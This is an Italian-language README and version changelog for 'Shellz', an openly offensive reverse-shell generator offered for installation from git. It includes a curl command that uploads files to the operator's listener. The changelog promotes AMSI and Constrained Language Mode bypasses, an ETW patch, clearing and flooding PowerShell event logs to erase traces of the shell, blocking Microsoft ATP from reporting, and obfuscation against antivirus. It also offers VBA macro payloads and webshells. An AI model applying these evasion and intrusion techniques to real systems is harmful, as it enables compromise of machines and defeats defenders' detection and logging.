Shellz
Uno script per generare rapidamente e facilmente le comuni revshell.
Particolarmente utile quando servono revshell PowerShell e Python, che possono essere un vero incubo da formattare correttamente.
Revshell PowerShell
- Mostra username@computer.(dominio), sopra il prompt e la directory di lavoro
- Ha un bypass AMSI parziale e completo.
- Shell TCP, UDP e SSL
- Nuova revshell TCP personalizzata!
- Nuova revshell SSL personalizzata!
- Caricamento riflessivo theart42's incredibile Sharpcat!
- Windows PowerShell e Core PowerShell
- Funzioni per caricare e scaricare file. (Usando Updog di sc0tfree)
Python
- Nessun PowerShell? Nessun problema!
Carica Python incorporato. File firmati e considerati affidabili dal Microsoft Intelligent Security Graph.
Supporto ngrok
- ngrok può essere avviato/fermato dall'interno dello script
- I payload verranno generati con gli indirizzi ngrok
Supporto Updog
- Puoi avviare/fermare Updog dall'interno dello script
- Le revshell PowerShell hanno la funzione di upload/download incorporata
- Per caricare da nix usando curl:
curl -F path="absolute path for Updog-folder" -F file=filename http://UpdogIP/upload
Per installare Shells da git
git clone https://github.com/4ndr34z/shells
cd shells
./install.sh
Per installare shells su BlackArch:
Screenshot

Dipendenze richieste
netcat, rlwrap, jq, basenc (coreutils)
Dipendenze opzionali
updog, ngrok, xclip
Video YouTube
Shellz 1.7.5
Versione 1.7.7
- Aggiunta opzione di inizializzazione Windows Terminal nella sezione PowerShell
Versione 1.7.6
- Aggiunta opzione sotto Python per usare Python incorporato in una macro VBA
Versione 1.7.5
- Aggiunta opzione sotto PowerShell per il caricamento a stadi di un bypass della Modalità Linguaggio Vincolato usando msbuild.exe
Versione 1.7.4
- Modificato il payload per Python incorporato. Non salva più lo script su disco
- Offuscato un po' la revshell Python
Versione 1.7.3
- Corretto un errore di battitura nel payload Python3 per Windows
- Aggiunta opzione per usare Python incorporato per ottenere una revshell su una macchina Windows senza Python installato e senza usare PowerShell.
Versione 1.7.1
- Aggiunto PS al prompt nella shell SSL
- Accorciato il bypass AMSI completo
Versione 1.7
- Rimosso il messaggio "updog non è in esecuzione" quando non è stato ancora attivato
- Rimossa qualche altra selezione automatica nei menu
Versione 1.6.9
- Corretto errore nel comando block MDE
- Aggiunte opzioni di comandi di inizializzazione: cmd, conhost, powershell (Se il payload supera i 8191 caratteri, deve essere avviato direttamente da PowerShell)
Versione 1.6.8
- Riempie "Microsoft-Windows-PowerShell/Operational" con ancora più voci, per essere sicuri di espellere l'esecuzione iniziale dello script. (Funziona solo se la registrazione scriptblock è abilitata sul target)
Versione 1.6.7
- Avevo solo codifica Base64 URL-safe. Aggiunta codifica base64 ordinaria dei payload.
Versione 1.6.6
- Aggiunta opzione per riempire il log di PowerShell. Avvierà un mucchio di sessioni PowerShell, passando una stringa lunga e uscendo. Questo riempirà il log, quando la registrazione scriptblock è abilitata, spingendo fuori le voci di log precedenti e rimuovendo così l'evento della shell stessa. Potrebbe prevenire il rilevamento da parte degli EDR. Testato con successo su SentinelOne.
- Corrette selezioni di menu confuse. Rimossa la selezione automatica su molte opzioni dei menu.
- Aggiunto Listener Metasploit Multi/handler
Versione 1.6.5
- Aggiunto patch ETW per PowerShell
- Aggiunto bypass AMSI completo incorporato in PowerShell
- Aggiunto controllo della lunghezza del payload. La lunghezza massima della stringa utilizzabile al prompt dei comandi di Windows (cmd.exe) è di 8191 caratteri.
Versione 1.6.4
- Corretta shell SSL PowerShell
Versione 1.6.3
- Aggiunta espansione di variabili sul payload PowerShell, rendendolo eseguibile da file batch senza modifiche
Versione 1.6.2
Versione 1.6.1
- Listener avviato in una nuova finestra. (Opzionale su Linux)
Versione 1.6
- PowerShell: Aggiunta opzione per il caricamento riflessivo di Sharpcat
Versione 1.5.9
- PowerShell: Nuova shell SSL personalizzata
- PowerShell: Aggiunte opzioni per scegliere TCP/UDP/SSL
- PowerShell/OpenSSL: Di default ascolto corretto quando si usa SSL
Versione 1.5.8
- Installer aggiornato per usare uno script wrapper (ricordarsi di cancellare /usr/local/bin/shells quando si aggiorna da versioni < 1.5.8)
Versione 1.5.7
- PowerShell: Costruita una revshell TCP unica, che non usa Net.Sockets.TCPClient
- PowerShell: I messaggi di errore remoti ora vengono visualizzati correttamente
Versione 1.5.6
- PHP: aggiunte opzioni e più payload
Versione 1.5.5
- Aggiunta opzione su altri payload per cambiare shell
Versione 1.5.4
- Powershell: Corretto payload NIX
- Powershell: Aggiornato il payload per il caricamento riflessivo di C#
Versione 1.5.3
- Powershell: Aggiunte opzioni per payload nel menu.
Versione 1.5.2
- PowerShell: Modificata revshell per bypassare più vendor AV
- PowerShell: Aggiunta regola firewall per impedire a MS ATP di contattare casa (se l'utente in esecuzione ha i permessi)
- PowerShell: Aggiornato VBA (macro MS Office)
Versione 1.5.1
- PowerShell: Disabilitata registrazione scriptblock e CheckSuspiciousContent
- PowerShell: Cancella i log eventi di PowerShell (se l'utente in esecuzione ha i permessi)
Versione 1.5.0
- PowerShell: Aggiunti payload VBA per macro MS Office
- Aggiunti alcuni payload node.js
Versione 1.4.9
- Aggiunta una shell C# semplice.
- Aggiunto payload per il caricamento riflessivo della shell C# in memoria. (Richiede bypass AMSI completo)
- Coperto da questo aggiungendo il bypass AMSI completo di Rastamouse
- PowerShell: Puoi caricare ed eseguire automaticamente il bypass AMSI completo. Il bypass AMSI parziale lo rende possibile.
- Shell C#: Carica automaticamente ed esegue il bypass AMSI completo prima di caricarla in memoria
- Stato di Updog e ngrok mostrato in ogni menu
Versione 1.4.8
- A volte meno è meglio. Rimosso l'offuscamento sulle revshell PowerShell TCP/UDP, perché in realtà attiva gli AV più di quanto li bypassi e il payload diventava molto grande :-) Si usa ancora la randomizzazione.
Versione 1.4.6
- Aggiunte webshell (ASPX, PHP, JSP)
Versione 1.4.5
- Aggiunti 2 binari revshell in c++ per Windows a 32 e 64 bit.
Versione 1.4.4
- Corretta la gestione di avvio/arresto di Updog
Versione 1.4.3
- Aggiunto supporto per Updog
- Aggiunti binari Netcat.
- PowerShell: Creata funzionalità di upload/download (l'upload richiede Updog per ricevere file)
- Aggiunte più informazioni sull'esecuzione di ngrok e Updog.
Versione 1.4.2
- PowerShell: Aggiunto un nuovo "mini AMSI-bypass". (È un bypass parziale) Basato sul metodo Reflection di Matt Graeber
- PowerShell: Aggiunta una funzione di "upload" nella revshell di PowerShell
Versione 1.4.1
- Rimosso AMSI. Non testato abbastanza :-)
Versione 1.4
- Aggiunto bypass AMSI per i payload PowerShell
Versione 1.3.9
- Risolto bug nell'impostazione della porta
- Modificata porta predefinita a 443
- PowerShell: Offuscato un po' di più
Versione 1.3.8
- PowerShell: Modifiche minori al payload UDP
Versione 1.3.7
- Usato solo nc nativo su macOS, perché quello di homebrew non funziona su UDP in ingresso
- PowerShell: Aggiunti payload UDP
Versione 1.3.6
- PowerShell: Aggiunti più payload
Versione 1.3.5
- PowerShell: Aggiunte un po' di randomizzazione e offuscamento per il payload
Versione 1.3.4
- PowerShell: Usata codifica UTF8 nel payload
Versione 1.3.3
Versione 1.3.2
Versione 1.3.1
- Risolto bug nella revshell Python
- Aggiunto awk
- Aggiunto Bash UDP
Versione 1.3
- Aggiunte revshell Python per Windows
Versione 1.2.9
- Aggiunto stato di esecuzione ngrok
Versione 1.2.8
- Nasconde la scelta ngrok se non installato
Versione 1.2.7
- Corrette le opzioni di installazione: non esegue l'opzione predefinita quando si preme Invio senza fare una scelta
Versione 1.2.6
- Aggiunto supporto per ngrok.
Versione 1.2.4
- Aggiunto script di installazione
- Aggiunte opzioni di installazione per controllare e installare le dipendenze mancanti
Versione 1.2.3
- Aggiunte un paio di shell PHP
Versione 1.2.2
- Aggiunte shell per: Ruby, Perl, Telnet e zsh
Versione 1.2.1
- Aggiunta copia negli appunti usando pbcopy su macOS
- Aggiunte informazioni sull'ascolto di netcat poiché le versioni macOS non lo visualizzano
Versione 1.2
- Aggiunte shell netcat con loop. Richiama ogni 10 secondi. Ottimo in caso si perda la shell
- Aggiunto controllo per netcat GNU netcat 0.7.0 Homebrew quando eseguito su macOS
Versione 1.1
- Aggiunto supporto per macOS